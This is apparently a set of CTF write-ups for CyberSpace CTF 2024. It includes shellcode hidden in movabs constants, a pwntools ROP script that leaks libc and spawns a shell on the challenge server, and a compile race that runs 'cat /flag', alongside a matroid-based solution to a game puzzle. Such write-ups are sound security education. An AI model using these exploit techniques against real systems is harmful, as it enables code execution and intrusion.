CyberSpace CTF 2024 Some Writeups

toxicpie

2024-09-02

No Parenthesis

I stole the idea from remov by ptr-yudai from SECCON CTF 2023 Finals.

TLDR: a `movabs` is so long that you can hide another instruction in it.

```
int main() {
    long long a = 0x6eb900068732fbb;
    a = 0x6eb909020e3c148;
    a = 0x6eb906e69622fb9;
    a = 0x6eb909090cb0148;
    a = 0x6eb909090909053;
    a = 0x6eb909090909054;
    a = 0x6eb90909090905f;
    a = 0x6eb909090f63148;
    a = 0x6eb909090d23148;
    a = 0x6eb900000003bb8;
    a = 0x6eb90909090050f;
    goto *&main+5;
    return !a;
}
```

Explanation: Disassembly of the above looks like this:

```
55                              push   rbp
48 89 e5                        mov    rbp,rsp
48 b8 bb 2f 73 68 00 90 eb 06   movabs rax, 0×6eb900068732fbb
48 89 45 f8                     mov    QWORD PTR [rbp-0×8],rax
48 b8 48 c1 e3 20 90 90 eb 06   movabs rax, 0×6eb909020e3c148
48 89 45 f8                     mov    QWORD PTR [rbp-0×8],rax
...
```

But if we ignore the first few bytes it becomes:

```
55 48 89 e5 48 b8               (skipped)
bb 2f 73 68 00                  mov    ebx, 0×68732f
90                              nop
eb 06                           jmp    $+8
48 89 45 f8 48 b8               (skipped by jmp)
48 c1 e3 20                     shl    rbx, 0×20
90                              nop
90                              nop
eb 06                           jmp    $+8
48 89 45 f8 48 b8               (skipped by jmp)
...
```

Using this we can hide an entire `execve("/bin/sh")` shellcode inside a bunch of `movabs`.

No Parenthesis Revenge

Ditto but replace `goto` with ROP (this version has `-static` so we know `&main`)

```
// the same a = ...; sequence
long long *b = &a;
b[3] = 0x401006;
```

Game with Rin

intended solution

Always pick second. Then no matter what S is, pick $T = [S_0, S_0]$. This works because `check_subset` does not actually check duplicate elements. The second player always wins because $x \oplus x = 0$.

Example interaction:

```
Rin> S = 1 2 3 4 5 6 7 8 69 420
You> T = 1 1
```

unintended solution

This is the unintended cheese solution.

The first player can win if and only if there is an edge set S such that:
0. S has $|V| - 1$ elements
1. the edges in S don't form a cycle
2. no nonempty subset $T \subseteq S$ has weights that XOR to 0

Note that XOR is just addition under $\mathbb{F}_2$, so 1. is equivalent to S being linearly independent when viewed as $\mathbb{F}_2$ vectors.

Therefore, all the sets S that satisfy 1. form a graphic matroid over the edges. All the sets S that satisfy 2. form a binary linear matroid over the edges.

To check if the first player can win, just run your favorite matroid intersection algorithm (for example Cunningham's in $O(|V|^{1.5} \times |\text{edges}|)$) and check if there's an independent set with size $|V| - 1$.

If the first player doesn't win then a basis in 1. would not be a basis in 2., so there is always a subset with XOR 0 and one can be trivially found.

quantum

do not ask what i did; i do not know

silent-rop-v2

It looks like a classic ret2dlresolve but is not because of full RELRO. `stdout` is yeeted so we can't leak things, also we can't write GOT.

But anyways we can do a easy rop because there are way too many gadgets. We even have the almighty `mov qword ptr [rsp + rdx], rdi`.

Code and explanation:

```python
import pwn

io = pwn.remote('silent-rop-v2.challs.csc.tf', 1337)

rop_payload = b''

# leak libc address from fclose@got.plt
rop_payload += pwn.p64(0x4011e2)        # pop rdx ; ret
rop_payload += pwn.p64(0x403fd8)
rop_payload += pwn.p64(0x4011e9)        # mov rdi, qword ptr [rdx] ; ret

# now we have a leak: rdi = libc base + 0×81dd0
rop_payload += pwn.p64(0x4011e2)        # pop rdx ; ret
rop_payload += pwn.p64(0x61d31)
rop_payload += pwn.p64(0x4011f6)        # add rdi, rdx ; ret
```

```
# now rdi = libc base + 0×e3b01
# 0×e3b01 is a one gadget with conditions r15 == 0 && rdx == 0

# prepare conditions for one gadget
rop_payload += pwn.p64(0x401292)        # pop r15 ; ret
rop_payload += pwn.p64(0x0)
rop_payload += pwn.p64(0x4011e2)        # pop rdx ; ret
rop_payload += pwn.p64(0x0)

# now rdx is 0, so this will luckily place one gadget at the next stack location
rop_payload += pwn.p64(0x4011fa)        # mov qword ptr [rsp + rdx], rdi ; ret

io.send(pwn.flat({0x18: rop_payload}))
io.sendline('cat /flag >&2')
io.interactive()
```

buncom

Code is poorly implemented (yes i know this is a ctf). Race.

Open two terminal windows:

1. Spam requests with the code

   ```
   main(){system("cat /flag");}
   ```

2. Spam requests with code that takes forever to compile, for example:

   ```
   #define a "xxxxxxxxxxx"
   #define b a a a a a a a
   #define c b b b b b b b
   #define d c c c c c c c
   #define e d d d d d d d
   #define f e e e e e e e
   #define g f f f f f f f
   #define h g g g g g g g
   #define i h h h h h h h
   #define j i i i i i i i
   z=j;
   ```

Then grep `CSCTF` and pray.